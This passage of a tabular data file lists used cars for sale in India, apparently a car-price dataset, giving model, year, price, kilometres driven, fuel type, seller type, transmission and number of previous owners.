Ecoboost Titanium Optional,2014,475000,65239,Petrol,Dealer,Manual,First Owner +Volkswagen Polo 1.2 MPI Comfortline,2015,470000,58182,Petrol,Dealer,Manual,First Owner +Ford Fiesta Diesel Trend,2012,200000,91245,Diesel,Dealer,Manual,First Owner +Mahindra XUV500 W8 2WD,2013,650000,102989,Diesel,Dealer,Manual,First Owner +Honda City 1.5 E MT,2010,400000,50000,Petrol,Individual,Manual,First Owner +Maruti Zen VXI,2000,100000,120000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2014,409999,90000,Diesel,Individual,Manual,First Owner +Maruti Swift VDI BSIV,2018,640000,25000,Diesel,Individual,Manual,First Owner +Maruti Wagon R LXI Minor,2007,160000,80000,Petrol,Individual,Manual,Second Owner +Tata Indigo TDI,2013,182000,100000,Diesel,Individual,Manual,First Owner +Maruti Baleno Zeta 1.3,2018,750000,70000,Diesel,Individual,Manual,First Owner +Mahindra Jeep MM 550 XDB,2002,150000,50000,Diesel,Individual,Manual,Third Owner +Maruti Alto STD,2008,80000,100000,Petrol,Individual,Manual,Second Owner +Maruti Celerio VDi,2016,240000,90000,Diesel,Individual,Manual,Third Owner +Maruti Esteem Lxi,2005,60000,60000,Petrol,Individual,Manual,Third Owner +Maruti Alto LX,2007,70000,120000,Petrol,Individual,Manual,Third Owner +Volkswagen Jetta 1.9 Highline TDI,2008,285000,90000,Diesel,Individual,Automatic,Second Owner +Maruti Swift VDI BSIV,2015,350000,60000,Diesel,Individual,Manual,Second Owner +Hyundai i20 Active 1.4 SX with AVN,2015,699000,30000,Diesel,Individual,Manual,Second Owner +Ford Figo Diesel ZXI,2011,275000,108000,Diesel,Individual,Manual,Second Owner +Hyundai i20 1.4 CRDi Magna,2012,350000,160000,Diesel,Individual,Manual,Second Owner +Maruti Alto LXi BSIII,2006,135000,90000,Petrol,Individual,Manual,Third Owner +Mahindra Xylo E4 8S,2010,325000,120000,Diesel,Individual,Manual,Third Owner +Mahindra XUV500 W8 2WD,2012,650000,102000,Diesel,Individual,Manual,Second Owner +Mahindra Bolero SLE,2009,300000,178000,Diesel,Individual,Manual,Second Owner +Toyota Innova 2.5 VX (Diesel) 8 Seater,2014,1200000,200000,Diesel,Individual,Manual,Second Owner +Ford Fiesta Petrol Trend,2012,450000,60000,Petrol,Dealer,Manual,First Owner +Tata Tiago 1.2 Revotron XE,2019,425000,3000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi,2006,150000,75118,Petrol,Individual,Manual,Second Owner +Maruti Ritz LDi,2013,290000,140000,Diesel,Individual,Manual,Second Owner +Hyundai Xcent 1.2 Kappa Base,2014,335000,60000,Petrol,Individual,Manual,Second Owner +Chevrolet Optra 1.6,2006,120000,79000,Petrol,Dealer,Manual,Fourth & Above Owner +Ford Ikon 1.6 ZXI NXt,2005,20000,25000,Petrol,Individual,Manual,Second Owner +Hyundai Getz GLS,2005,250000,70000,Petrol,Individual,Manual,First Owner +Hyundai Santro Xing GL Plus,2008,120000,41723,Petrol,Individual,Manual,Second Owner +Maruti SX4 Vxi BSIV,2010,250000,70000,Petrol,Individual,Manual,First Owner +Tata Indigo LS,2012,220000,70000,Diesel,Individual,Manual,Second Owner +Ford Ikon 1.3 Flair,2005,61000,4637,Petrol,Individual,Manual,Second Owner +Maruti Swift VDI BSIV,2016,620000,70000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire LDIX Limited Edition,2014,425000,100000,Diesel,Individual,Manual,Second Owner +Tata Indica Vista Aqua 1.3 Quadrajet,2009,85000,120000,Diesel,Individual,Manual,Second Owner +Maruti Swift 1.3 DLX,2015,270000,40000,Diesel,Individual,Manual,Second Owner +Maruti Swift Vdi BSIII,2009,180000,220000,Diesel,Individual,Manual,First Owner +Renault KWID 1.0 RXT Optional,2018,300000,20000,Petrol,Individual,Manual,First Owner +Ford EcoSport 1.5 Petrol Titanium BSIV,2017,800000,19000,Petrol,Individual,Manual,First Owner +Fiat Grande Punto Active (Diesel),2009,125000,95000,Diesel,Individual,Manual,Second Owner +Mahindra KUV 100 mFALCON G80 K2,2017,450000,30000,Petrol,Individual,Manual,First Owner +Tata New Safari DICOR 2.2 VX 4x4,2012,450000,42655,Diesel,Individual,Manual,First Owner +Renault KWID 1.0 RXL,2017,250000,43000,Petrol,Individual,Manual,Second Owner +Toyota Innova 2.5 VX 8 STR BSIV,2012,725000,70000,Diesel,Individual,Manual,First Owner +Hyundai i20 Magna,2010,250000,55000,Petrol,Individual,Manual,First Owner +Fiat Punto 1.3 Active,2010,99000,80000,Diesel,Individual,Manual,Second Owner +Renault KWID 1.0,2017,350000,55000,Petrol,Individual,Manual,First Owner +Hyundai Xcent 1.2 VTVT E Plus,2018,511000,70000,Petrol,Individual,Manual,First Owner +Maruti Ritz VDi,2012,300000,80000,Diesel,Individual,Manual,First Owner +Audi Q5 2.0 TFSI Quattro,2010,1100000,110000,Petrol,Individual,Automatic,First Owner +Hyundai i10 Sportz 1.2,2010,125000,60000,Petrol,Individual,Manual,Third Owner +Tata Tiago 1.2 Revotron XZ,2018,500000,30000,Petrol,Individual,Manual,First Owner +Renault Duster 85PS Diesel RxL,2013,385000,80000,Diesel,Individual,Manual,Second Owner +Skoda Rapid 1.6 MPI Elegance,2012,350000,90000,Petrol,Individual,Manual,First Owner +Maruti 800 Std BSIII,2003,60000,50000,Petrol,Individual,Manual,First Owner +Hyundai Santro Xing GLS,2012,300000,50000,Petrol,Individual,Manual,First Owner +Hyundai i20 1.4 CRDi Asta,2012,400000,70000,Diesel,Individual,Manual,First Owner +Ford Ecosport 1.5 DV5 MT Titanium,2014,550000,110000,Diesel,Individual,Manual,First Owner +Nissan Sunny XL,2012,300000,80000,Petrol,Individual,Manual,Second Owner +Maruti Swift VDI,2012,250000,156000,Diesel,Individual,Manual,First Owner +Toyota Innova 2.5 GX 7 STR,2012,800000,180000,Diesel,Individual,Manual,First Owner +Maruti Eeco 5 Seater AC BSIV,2018,300000,25000,Petrol,Individual,Manual,First Owner +Maruti Alto LX,2004,80000,120000,Petrol,Individual,Manual,First Owner +Mahindra Scorpio S5 BSIV,2020,1200000,11000,Diesel,Individual,Manual,First Owner +Renault KWID AMT,2017,355000,40000,Petrol,Individual,Automatic,First Owner +Maruti Swift Dzire VDI,2015,520000,50000,Diesel,Individual,Manual,First Owner +Hyundai Verna 1.6 CRDI,2012,500000,26000,Diesel,Individual,Manual,First Owner +Maruti Alto LXi,2008,114999,30000,Petrol,Individual,Manual,First Owner +Toyota Fortuner 4x2 Manual,2014,1800000,50000,Diesel,Individual,Manual,First Owner +Mahindra TUV 300 T6 Plus,2018,800000,20000,Diesel,Individual,Manual,First Owner +Maruti Alto LXi BSIII,2008,105000,30000,Petrol,Individual,Manual,Second Owner +Maruti Alto LXi,2011,135000,78000,Petrol,Individual,Manual,First Owner +Maruti Wagon R VXI BS IV,2011,170000,40000,Petrol,Individual,Manual,Second Owner +Hyundai Verna 1.6 SX VTVT,2014,550000,100000,Petrol,Individual,Manual,First Owner +Honda City 1.5 V MT,2009,250000,70000,Petrol,Individual,Manual,Third Owner +Hyundai Elantra CRDi SX,2014,650000,30000,Diesel,Individual,Manual,Second Owner +Honda City 1.5 V AT Exclusive,2008,210000,77000,Petrol,Individual,Automatic,Third Owner +Volkswagen Vento Diesel Highline,2011,260000,150000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire ZDI,2016,750000,69000,Diesel,Individual,Manual,First Owner +Toyota Innova Crysta 2.8 GX AT BSIV,2016,1350000,120000,Diesel,Individual,Automatic,First Owner +Maruti Ritz VDi,2012,220000,120000,Diesel,Individual,Manual,Second Owner +Hyundai Getz 1.3 GLS,2008,110000,110000,Petrol,Individual,Manual,Second Owner +Mahindra XUV500 AT W8 FWD,2017,1230000,70000,Diesel,Individual,Automatic,First Owner +Mahindra Quanto C6,2013,220000,110000,Diesel,Individual,Manual,First Owner +Tata Indigo LX Dicor,2009,130000,50000,Diesel,Individual,Manual,First Owner +Hyundai i20 1.2 Magna,2012,330000,44000,Petrol,Individual,Manual,First Owner +Honda City 1.5 S MT,2010,254999,90000,Petrol,Individual,Manual,Second Owner +Hyundai Verna 1.6 SX VTVT (O),2014,600000,50000,Petrol,Individual,Manual,Second Owner +Hyundai i10 Magna,2012,210000,50000,Petrol,Individual,Manual,First Owner +Chevrolet Enjoy TCDi LT 7 Seater,2014,300000,146000,Diesel,Individual,Manual,First Owner +Tata Tiago 1.2 Revotron XTA,2018,426000,15000,Petrol,Individual,Automatic,First Owner +Maruti Alto K10 VXI,2015,265000,60000,Petrol,Individual,Manual,First Owner +Hyundai Xcent 1.2 Kappa SX,2016,450000,35000,Petrol,Individual,Manual,Second Owner +Hyundai Verna 1.6 SX,2012,480000,80000,Diesel,Individual,Manual,First Owner +Tata Nano Lx,2010,40000,90000,Petrol,Individual,Manual,First Owner +Honda City 1.5 S MT,2011,395000,70000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R VXI BS IV,2013,229999,62000,Petrol,Individual,Manual,Second Owner +Ford Ecosport 1.5 Petrol Titanium Plus AT,2018,875000,10000,Petrol,Individual,Automatic,First Owner +Maruti Eeco 5 STR With AC Plus HTR CNG,2010,170000,80000,CNG,Individual,Manual,Fourth & Above Owner +Hyundai i20 Sportz 1.2,2015,500000,35000,Petrol,Individual,Manual,Second Owner +Renault Duster 85PS Diesel RxL,2013,450000,1000,Diesel,Dealer,Manual,Second Owner +Mercedes-Benz C-Class Progressive C 220d,2018,3800000,10000,Diesel,Dealer,Automatic,First Owner +Audi A4 3.0 TDI Quattro,2013,1580000,86000,Diesel,Dealer,Automatic,First Owner +BMW X5 xDrive 30d xLine,2019,4950000,30000,Diesel,Dealer,Automatic,First Owner +Hyundai Creta 1.6 CRDi SX,2016,535000,52600,Diesel,Individual,Manual,First Owner +Maruti SX4 Vxi BSIV,2012,225000,110000,Petrol,Individual,Manual,Second Owner +Hyundai Grand i10 1.2 Kappa Magna AT,2017,550000,19890,Petrol,Dealer,Automatic,First Owner +Maruti Swift ZXI BSIV,2016,670000,7104,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Ertiga VXI,2015,625000,11918,Petrol,Trustmark Dealer,Manual,First Owner +Hyundai Grand i10 Magna AT,2017,520000,10510,Petrol,Dealer,Automatic,First Owner +Chevrolet Beat LT Option,2016,239000,41000,Petrol,Dealer,Manual,First Owner +Toyota Fortuner 4x2 AT,2017,2600000,47162,Diesel,Trustmark Dealer,Automatic,First Owner +Maruti S-Cross Zeta DDiS 200 SH,2015,750000,45974,Diesel,Trustmark Dealer,Manual,First Owner +Hyundai i10 Magna,2012,229999,49824,Petrol,Dealer,Manual,First Owner +Audi A6 2.0 TDI Premium Plus,2013,1300000,58500,Diesel,Dealer,Automatic,First Owner +Hyundai Santro GS,2005,80000,56580,Petrol,Dealer,Manual,First Owner +Skoda Laura Ambiente 2.0 TDI CR MT,2012,385000,52000,Diesel,Dealer,Manual,First Owner +Hyundai Verna 1.6 VTVT SX,2015,760000,55340,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2017,600000,46507,Diesel,Trustmark Dealer,Manual,First Owner +Maruti Ignis 1.2 Sigma BSIV,2019,450000,40000,Petrol,Individual,Manual,First Owner +Maruti Ignis 1.2 Sigma BSIV,2019,450000,40000,Petrol,Individual,Manual,First Owner +Maruti Ertiga VDI,2012,550000,120000,Diesel,Individual,Manual,Third Owner +Tata Manza Aura Safire BS IV,2013,200000,60000,Petrol,Individual,Manual,First Owner +Tata Indica GLS BS IV,2008,80000,90000,Petrol,Individual,Manual,Second Owner +Tata New Safari DICOR 2.2 EX 4x2,2010,300000,250000,Diesel,Individual,Manual,Second Owner +Ford Aspire Titanium Plus Diesel BSIV,2019,675000,15000,Diesel,Individual,Manual,First Owner +Maruti Eeco 7 Seater Standard BSIV,2017,260000,30000,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Asta,2019,500000,15000,Petrol,Individual,Manual,First Owner +Hyundai EON Sportz,2012,150000,55766,Petrol,Individual,Manual,Second Owner +Maruti Alto LXi,2006,100000,80000,Petrol,Individual,Manual,First Owner +Maruti Wagon R LXI,2001,70000,117000,Petrol,Individual,Manual,Second Owner +Maruti Alto LX,2004,100000,70000,Petrol,Individual,Manual,First Owner +Toyota Innova 2.5 VX (Diesel) 7 Seater,2012,730000,110000,Diesel,Individual,Manual,Second Owner +Nissan Terrano XL 85 PS,2016,525000,100000,Diesel,Individual,Manual,Second Owner +Nissan Terrano XL 85 PS,2016,525000,105000,Diesel,Individual,Manual,Second Owner +Toyota Innova 2.5 V Diesel 7-seater,2009,550000,182000,Diesel,Individual,Manual,Third Owner +Toyota Corolla Altis Diesel D4DJ,2012,420000,95000,Diesel,Individual,Manual,Second Owner +Honda Amaze SX i-VTEC,2015,500000,70000,Petrol,Individual,Manual,First Owner +Maruti Wagon R LXI Minor,2009,165000,76000,Petrol,Individual,Manual,Second Owner +Hyundai Verna 1.6 SX,2014,650000,70000,Diesel,Individual,Manual,Second Owner +Chevrolet Beat Diesel LT,2013,195000,46000,Diesel,Individual,Manual,First Owner +Maruti Zen LX,1999,75000,70000,Petrol,Individual,Manual,First Owner +Hyundai Accent CRDi,2005,100000,120000,Diesel,Individual,Manual,Second Owner +Toyota Innova Crysta 2.4 VX MT BSIV,2017,1770000,25000,Diesel,Individual,Manual,First Owner +Maruti Esteem Lxi - BSIII,2006,90000,90000,Petrol,Individual,Manual,First Owner +Hyundai Xcent 1.1 CRDi Base,2016,515000,50000,Diesel,Individual,Manual,First Owner +Honda Jazz 1.5 VX i DTEC,2017,700000,24585,Diesel,Dealer,Manual,Test Drive Car +Maruti Zen LX,2001,62000,70000,Petrol,Individual,Manual,First Owner +Toyota Etios GD SP,2011,220000,110000,Diesel,Individual,Manual,Third Owner +Hyundai Santro Magna CNG BSIV,2019,520000,10000,CNG,Individual,Manual,First Owner +Fiat Linea Emotion,2010,170000,100000,Petrol,Individual,Manual,First Owner +Ford Figo Diesel Titanium,2011,190000,110000,Diesel,Individual,Manual,Second Owner +Ford Figo Diesel Titanium,2011,150000,100000,Diesel,Individual,Manual,Second Owner +Maruti Zen Estilo LXI BS IV,2009,125000,65000,Petrol,Individual,Manual,First Owner +Honda Amaze EX i-Dtech,2015,290000,40000,Diesel,Individual,Manual,Third Owner +Maruti Celerio X ZXI BSIV,2019,490000,13900,Petrol,Individual,Manual,First Owner +Tata Tigor 1.2 Revotron XZ Option,2017,434999,17563,Petrol,Individual,Manual,First Owner +Tata Zest Revotron 1.2T XE,2016,380000,15000,Petrol,Individual,Manual,First Owner +Volkswagen Polo Diesel Trendline 1.2L,2012,200000,82000,Diesel,Individual,Manual,Second Owner +Ford Figo 1.5D Trend MT,2016,495000,40000,Diesel,Individual,Manual,First Owner +Toyota Innova 2.5 Z Diesel 7 Seater BS IV,2014,894999,173000,Diesel,Individual,Manual,Third Owner +Mahindra XUV500 W6 2WD,2014,600000,151000,Diesel,Individual,Manual,Second Owner +Honda Brio S MT,2015,300000,50000,Petrol,Individual,Manual,First Owner +Honda Amaze E i-VTEC,2017,430000,15000,Petrol,Individual,Manual,First Owner +Honda Amaze E i-DTEC,2017,370000,80000,Diesel,Individual,Manual,First Owner +Maruti Baleno Zeta 1.2,2019,750000,11000,Petrol,Individual,Manual,First Owner +Maruti Alto K10 LXI CNG Optional,2016,300000,50000,CNG,Individual,Manual,First Owner +BMW X1 sDrive20d,2012,700000,120000,Diesel,Individual,Automatic,Second Owner +Maruti Wagon R LXI DUO BSIII,2007,100000,70000,LPG,Individual,Manual,Third Owner +Hyundai Grand i10 Sportz,2015,300000,90000,Petrol,Individual,Manual,First Owner +Tata Indica Vista Quadrajet VX,2012,130000,185000,Diesel,Individual,Manual,Second Owner +Hyundai i20 Asta Option 1.4 CRDi,2016,650000,40000,Diesel,Individual,Manual,First Owner +Maruti Swift VDI BSIV,2017,509999,25000,Diesel,Individual,Manual,First Owner +Toyota Innova 2.5 VX (Diesel) 7 Seater,2013,1000000,117780,Diesel,Individual,Manual,Second Owner +Hyundai Verna CRDi SX,2010,280000,120000,Diesel,Individual,Manual,Second Owner +Maruti Swift DDiS VDI,2017,600000,120000,Diesel,Individual,Manual,First Owner +Skoda Rapid 1.6 TDI Ambition,2013,210000,120000,Diesel,Individual,Manual,Third Owner +Audi Q3 2.0 TDI Quattro Premium Plus,2014,1150000,110000,Diesel,Individual,Automatic,Second Owner +Hyundai EON Magna Plus,2018,229999,30000,Petrol,Individual,Manual,First Owner +Hyundai EON Magna Plus,2018,245000,30000,Petrol,Individual,Manual,First Owner +Mahindra Scorpio S4 4WD,2015,600000,60000,Diesel,Individual,Manual,First Owner +Hyundai Grand i10 Sportz,2016,375000,25000,Petrol,Individual,Manual,First Owner +Mahindra Scorpio 1.99 S10,2015,150000,55000,Diesel,Individual,Manual,Second Owner +Mahindra XUV500 W10 2WD,2018,1450000,20000,Diesel,Individual,Manual,First Owner +Maruti Ertiga VDI,2014,500000,100000,Diesel,Individual,Manual,Second Owner +Maruti Alto LXi,2007,75000,40000,Petrol,Individual,Manual,Second Owner +Hyundai Sonata AT Leather,2006,225000,80000,Petrol,Individual,Automatic,Third Owner +Hyundai Sonata 2.4L AT,2006,275000,80000,Petrol,Individual,Automatic,Fourth & Above Owner +Mahindra Bolero Power Plus SLX,2018,620000,35000,Diesel,Individual,Manual,First Owner +Nissan X-Trail SLX MT,2010,600000,110000,Diesel,Individual,Manual,Second Owner +Mahindra Xylo E8 ABS Airbag BSIV,2011,275000,160000,Diesel,Individual,Manual,First Owner +Tata Indigo TDI,2013,125000,125000,Diesel,Individual,Manual,First Owner +Tata Indigo GLS,2011,80000,62000,Petrol,Individual,Manual,Second Owner +Nissan Micra Diesel XV,2011,199000,120000,Diesel,Individual,Manual,Second Owner +Nissan Micra XL,2016,440000,33000,Petrol,Individual,Manual,Second Owner +Maruti Swift Dzire LDI,2013,250000,80000,Diesel,Individual,Manual,Fourth & Above Owner +Hyundai i20 1.4 Sportz,2017,700000,35000,Diesel,Individual,Manual,First Owner +Hyundai Grand i10 CRDi Asta Option,2015,450000,50000,Diesel,Individual,Manual,First Owner +Maruti Alto 800 Std Optional,2019,240000,5000,Petrol,Individual,Manual,First Owner +Hyundai Xcent 1.2 Kappa SX,2016,350000,12000,Petrol,Individual,Manual,First Owner +Ford EcoSport 1.5 TDCi Titanium BSIV,2016,650000,81595,Diesel,Dealer,Manual,First Owner +Hyundai Getz GLS ABS,2005,71000,22000,Petrol,Individual,Manual,First Owner +Maruti Swift VXI Optional,2015,400000,40000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi BSIII,2008,130000,40000,Petrol,Individual,Manual,Second Owner +Mahindra Scorpio 2.6 CRDe SLE,2013,300000,70000,Diesel,Individual,Manual,Second Owner +Nissan Kicks XL D BSIV,2019,1100000,4000,Diesel,Individual,Manual,First Owner +BMW 3 Series 320d Luxury Line,2015,2200000,24000,Diesel,Individual,Automatic,First Owner +Honda Amaze VX i-VTEC,2018,800000,13500,Petrol,Dealer,Manual,First Owner +Maruti Ritz VDI (ABS) BS IV,2013,490000,40000,Diesel,Individual,Manual,First Owner +Honda Jazz 1.2 VX i VTEC,2018,836000,9700,Petrol,Dealer,Manual,First Owner +Volkswagen Polo Petrol Comfortline 1.2L,2012,375000,62000,Petrol,Individual,Manual,Second Owner +Honda BR-V i-DTEC VX MT,2016,1249000,24000,Diesel,Dealer,Manual,First Owner +Honda WR-V i-DTEC VX,2019,1240000,13000,Diesel,Dealer,Manual,First Owner +Tata Nano Std BSII,2009,35000,50000,Petrol,Individual,Manual,Third Owner +Honda BR-V i-VTEC VX MT,2017,1068000,36000,Petrol,Dealer,Manual,First Owner +Honda BR-V i-DTEC VX MT,2017,1189000,40000,Diesel,Dealer,Manual,First Owner +Hyundai Elite i20 Petrol Asta Option,2018,700000,27000,Petrol,Individual,Manual,First Owner +Maruti Alto K10 VXI,2016,350000,40000,Petrol,Individual,Manual,First Owner +Hyundai i10 Magna 1.2,2009,254999,80000,Petrol,Individual,Manual,Second Owner +Mahindra Scorpio 2.6 CRDe,2005,229999,221000,Diesel,Individual,Manual,Third Owner +Hyundai i20 Asta Option 1.4 CRDi,2016,750000,80000,Diesel,Individual,Manual,First Owner +Maruti Ritz VDi,2012,325000,119000,Diesel,Individual,Manual,Second Owner +Toyota Innova 2.5 G4 Diesel 7-seater,2009,760000,190000,Diesel,Individual,Manual,Second Owner +Maruti Celerio ZXI AT,2017,509999,25000,Petrol,Individual,Automatic,First Owner +Nissan Micra XL,2013,363000,28740,Petrol,Individual,Manual,First Owner +Maruti Alto K10 LXI,2010,229999,48500,Petrol,Individual,Manual,First Owner +Nissan Sunny XL,2012,290000,110000,Petrol,Individual,Manual,Second Owner +Maruti Swift VXI,2018,550000,30000,Petrol,Individual,Manual,First Owner +Tata Indica Vista TDI LX,2011,125000,120000,Diesel,Individual,Manual,Second Owner +Volvo XC60 D5 Inscription,2014,2000000,130000,Diesel,Individual,Automatic,First Owner +Toyota Innova 2.5 G4 Diesel 7-seater,2008,350000,140000,Diesel,Individual,Manual,Second Owner +Hyundai Verna 1.6 SX CRDi (O),2011,390000,90000,Diesel,Individual,Manual,First Owner +Maruti Wagon R VXI Minor ABS,2010,260000,50000,Petrol,Individual,Manual,First Owner +Maruti Omni BSIII 8-STR W/ IMMOBILISER,2008,150000,50000,Petrol,Individual,Manual,Second Owner +Maruti Esteem Vxi - BSIII,2006,85000,60000,Petrol,Individual,Manual,Second Owner +Maruti Alto 800 LXI,2015,280000,15000,Petrol,Individual,Manual,Second Owner +Maruti Celerio VXI,2015,220000,45000,Petrol,Individual,Manual,First Owner +Hyundai Santro Xing XG,2005,140000,80000,Petrol,Individual,Manual,Third Owner +Maruti Wagon R AMT VXI Option,2018,370000,15000,Petrol,Individual,Automatic,First Owner +Maruti Swift Dzire VDI,2019,650000,20000,Diesel,Individual,Manual,First Owner +Maruti Alto 800 LX,2017,280000,37000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2016,540000,80000,Diesel,Individual,Manual,First Owner +Ambassador Classic 2000 Dsz,2002,50000,120000,Diesel,Individual,Manual,Fourth & Above Owner +Maruti Ciaz Sigma BSIV,2018,800000,20000,Petrol,Individual,Manual,First Owner +Ford Figo 1.5D Titanium MT,2016,515000,25000,Diesel,Individual,Manual,First Owner +Hyundai i20 1.2 Magna,2010,220000,96000,Petrol,Individual,Manual,Third Owner +Hyundai i20 Asta (o),2014,525000,54000,Petrol,Dealer,Manual,Second Owner +Chevrolet Spark 1.0 LT Option Pack w/ Airbag,2013,165000,53000,Petrol,Dealer,Manual,First Owner +Fiat Linea 1.3 Emotion,2010,221000,65000,Diesel,Dealer,Manual,First Owner +Chevrolet Beat LT,2015,245000,43000,Petrol,Dealer,Manual,First Owner +Ford Figo 1.2P Titanium Plus MT,2012,260000,42000,Petrol,Dealer,Manual,First Owner +Skoda Superb Elegance 2.0 TDI CR AT,2011,550000,73000,Diesel,Dealer,Automatic,First Owner +Hyundai Grand i10 1.2 Kappa Era,2015,434999,29000,Petrol,Dealer,Manual,First Owner +Tata Safari Storme EX,2013,450000,95000,Diesel,Dealer,Manual,First Owner +Chevrolet Sail 1.2 Base,2014,290000,25000,Petrol,Individual,Manual,First Owner +Volkswagen Vento 1.0 TSI Highline Plus,2011,305000,53000,Petrol,Dealer,Manual,Second Owner +Ford Classic 1.6 Duratec LXI,2011,265000,20000,Petrol,Dealer,Manual,First Owner +Honda Brio 1.2 S MT,2014,325000,57000,Petrol,Dealer,Manual,First Owner +Chevrolet Cruze LTZ,2014,550000,52000,Diesel,Dealer,Manual,First Owner +Maruti Zen Estilo LXI BSIII,2008,105000,40000,Petrol,Individual,Manual,First Owner +Honda Brio 1.2 S MT,2012,275000,47000,Petrol,Dealer,Manual,First Owner +Honda City 1.5 V MT,2012,434999,47000,Petrol,Dealer,Manual,Second Owner +Hyundai Verna 1.6 CRDi SX,2016,690000,73000,Diesel,Dealer,Manual,First Owner +Honda Brio V MT,2012,249000,42000,Petrol,Dealer,Manual,Second Owner +Hyundai EON D Lite Plus,2012,204999,60000,Petrol,Dealer,Manual,Third Owner +Chevrolet Beat Diesel LT,2012,200000,50000,Diesel,Individual,Manual,First Owner +Maruti Wagon R VXI Optional,2015,190000,120000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi,2012,150000,50000,Petrol,Individual,Manual,First Owner +Maruti Zen LX,1999,70000,70000,Petrol,Individual,Manual,Fourth & Above Owner +Mahindra Bolero Power Plus SLX,2018,900000,25000,Diesel,Individual,Manual,First Owner +Maruti Ertiga ZXI AT Petrol,2019,950000,11000,Petrol,Individual,Automatic,First Owner +Maruti Swift Dzire VXI,2013,475000,80000,Petrol,Individual,Manual,First Owner +Maruti 800 Std,1998,55000,80000,Petrol,Individual,Manual,Fourth & Above Owner +Ford Fiesta Titanium 1.5 TDCi,2013,450000,75000,Diesel,Individual,Manual,Second Owner +BMW 5 Series 525d Sedan,2009,1200000,45000,Diesel,Individual,Automatic,Third Owner +Mahindra Bolero SLX,2007,300000,100000,Diesel,Individual,Manual,Second Owner +Honda City i DTEC E,2014,350000,60000,Diesel,Individual,Manual,Second Owner +Tata Indica Vista Quadrajet LS,2011,229999,160000,Diesel,Individual,Manual,Second Owner +Hyundai Creta 1.6 Gamma SX Plus,2015,821000,50000,Petrol,Individual,Manual,First Owner +Maruti Alto K10 VXI,2014,200000,80000,Petrol,Individual,Manual,Second Owner +Mahindra Scorpio 1.99 S10,2017,1000000,60000,Diesel,Individual,Manual,Second Owner +Maruti Alto 800 VXI,2016,220000,60000,Petrol,Individual,Manual,Second Owner +Ford Figo Aspire 1.5 TDCi Trend,2015,459999,148620,Diesel,Dealer,Manual,First Owner +Maruti SX4 ZDI,2012,310000,70000,Diesel,Individual,Manual,Second Owner +Hyundai Elite i20 Diesel Asta Option,2018,815000,42000,Diesel,Individual,Manual,First Owner +Hyundai Verna 1.6 CRDI SX Option,2017,1200000,40000,Diesel,Individual,Manual,First Owner +Chevrolet Optra Magnum 2.0 LT,2011,170000,150000,Diesel,Individual,Manual,Second Owner +Maruti S-Cross Alpha DDiS 200 SH,2017,1000000,30000,Diesel,Individual,Manual,First Owner +Hyundai Santro Xing GLS,2010,155000,90000,Petrol,Individual,Manual,Fourth & Above Owner +Mahindra TUV 300 T6 Plus,2017,400000,120000,Diesel,Individual,Manual,First Owner +Mahindra Quanto C4,2016,400000,80000,Diesel,Individual,Manual,Second Owner +Tata Indica Vista Aura 1.3 Quadrajet BSIV,2010,250000,80000,Diesel,Individual,Manual,Second Owner +Tata Indigo GLX,2008,150000,50000,Petrol,Individual,Manual,Third Owner +Hyundai Santro LP zipPlus,2002,80000,70000,Petrol,Individual,Manual,Second Owner +Maruti SX4 ZXI AT,2009,130000,120000,Petrol,Individual,Automatic,Second Owner +Volkswagen Vento 1.5 TDI Comfortline AT,2014,325000,70000,Diesel,Individual,Automatic,First Owner +Volkswagen Jetta 2.0L TDI Highline AT,2012,735000,55300,Diesel,Dealer,Automatic,First Owner +Tata Indica Vista Quadrajet 90 VX,2012,285000,74300,Diesel,Dealer,Manual,First Owner +Honda City VX MT,2010,350000,48781,Petrol,Dealer,Manual,First Owner +Volkswagen Jetta 1.9 Highline TDI,2010,290000,87620,Diesel,Dealer,Automatic,First Owner +Volkswagen Vento 1.5 TDI Highline Plus AT,2017,890000,40219,Diesel,Dealer,Automatic,First Owner +Honda Jazz VX,2011,385000,11473,Petrol,Dealer,Manual,First Owner +Maruti Eeco 5 Seater AC BSIV,2017,425000,8352,Petrol,Dealer,Manual,First Owner +Maruti Wagon R VXI AMT1.2BSIV,2017,525000,9745,Petrol,Dealer,Automatic,First Owner +Hyundai Grand i10 Asta,2017,550000,9748,Petrol,Dealer,Manual,First Owner +Volkswagen Polo 1.0 MPI Trendline,2012,271000,49000,Petrol,Dealer,Manual,First Owner +Hyundai Creta 1.6 CRDi SX Option,2018,1490000,20694,Diesel,Dealer,Manual,First Owner +Hyundai Grand i10 Asta Option,2015,490000,31080,Petrol,Dealer,Manual,First Owner +Hyundai EON Era Plus,2014,260000,37605,Petrol,Dealer,Manual,First Owner +Hyundai Xcent 1.1 CRDi SX Option,2014,455000,55850,Diesel,Dealer,Manual,First Owner +Tata Nano Lx BSIV,2010,75000,58850,Petrol,Dealer,Manual,First Owner +Toyota Etios Cross 1.2L G,2015,421000,23839,Petrol,Dealer,Manual,First Owner +Maruti Swift DDiS LDI,2016,550000,54000,Diesel,Dealer,Manual,First Owner +Hyundai i10 Sportz 1.2 AT,2013,330000,38000,Petrol,Dealer,Automatic,First Owner +Volkswagen Vento 1.5 TDI Comfortline,2012,390000,45454,Diesel,Dealer,Manual,First Owner +Skoda Rapid 1.5 TDI AT Ambition,2015,599000,46957,Diesel,Dealer,Automatic,First Owner +Hyundai Elite i20 Sportz Plus CVT BSIV,2019,738000,8000,Petrol,Individual,Automatic,First Owner +Maruti Alto K10 VXI,2016,300000,30000,Petrol,Individual,Manual,First Owner +Tata Indica Vista Quadrajet LX,2012,150000,110000,Diesel,Individual,Manual,First Owner +Toyota Innova 2.5 G4 Diesel 7-seater,2007,440000,223000,Diesel,Individual,Manual,Fourth & Above Owner +Volkswagen Vento IPL II Diesel Trendline,2011,280000,110000,Diesel,Individual,Manual,First Owner +Hyundai Santro GS,2006,100000,120000,Petrol,Individual,Manual,Second Owner +Maruti Swift VXi BSIV,2008,150000,100000,Petrol,Individual,Manual,Second Owner +Maruti Swift Dzire VDI,2014,380000,100000,Diesel,Individual,Manual,Second Owner +Maruti Alto LX,2006,90000,60000,Petrol,Individual,Manual,Second Owner +Mahindra Scorpio VLS 2.2 